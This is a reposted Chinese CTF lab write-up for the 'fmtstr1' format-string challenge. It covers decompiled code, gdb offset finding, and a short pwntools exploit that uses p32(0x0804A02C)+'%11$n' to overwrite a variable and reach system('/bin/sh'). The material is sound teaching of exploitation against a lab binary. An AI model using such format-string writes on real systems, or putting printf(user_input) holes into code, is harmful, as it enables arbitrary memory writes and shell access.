[星盟 pwn LAB]格式化字符串:fmtstr1
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[星盟 pwn LAB]格式化字符串:fmtstr1相关的知识,希望对你有一定的参考价值。
一、checksec
二、IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
从反编译的伪代码看,需要x=4,才能执行system("/bin/sh")并拿到shell。
三、解题思路
1 基本思路
伪代码中的printf(buf)中的buf是用户输入的字符,因此,这个位置存在格式化字符串漏洞。往下看伪代码,当x=4时,才会拿到shell。下面,我们在ida中查看x的值,x位于data段,地址是0x0804A02C,值是3。思路是通过格式化字符串把这个值改为4。
2 通过gdb调试查看栈空间
在read的位置设置断点,通过如下命令跟进去,并输入一些参数AAAAAAAA,执行到第一个printf这里,并查看stack:
gdb fmtsrt1
b *0x0804859d
r
ni
通过stack20查看堆栈:
图中注意区分一下两个概念:printf的参数和格式化字符串参数。0xffffcf90的8个A是printf的第一个参数,8个A存储在0xffffcfbc的位置,这个位置处于printf的第12个参数的位置,也是格式化字符串的第11个参数的位置。0xffffcf98的0x50向后是格式化字符串的参数。
3 篡改0x0804A02C的数据
由于格式化字符串本身是存储在stack上的,这就可以在stack上写入任意数据,也就是说,可以泄露任意地址的内存;同样,也可以篡改任意地址的数据。我们把送入的AAAAAAAA替换为0x0804A02C,这时,格式化字符串的第11个参数就填写为0x0804A02C,为了篡改这个地址的数据,送入%11$n,就能够将这个地址指向的值填充为%11$n之前已打印的字符,正好是4。
四、exp
from pwn import *
conn=process('./fmtstr1')
x_addr=0x0804A02C
payload=p32(x_addr)+b"%11$n"
conn.sendline(payload)
conn.interactive()
五、格式化字符串漏洞的功能
- 泄露栈上的地址;
- 泄露任意地址;
- 写入栈上的地址;
- 写入任意地址。
以上是关于[星盟 pwn LAB]格式化字符串:fmtstr1的主要内容,如果未能解决你的问题,请参考以下文章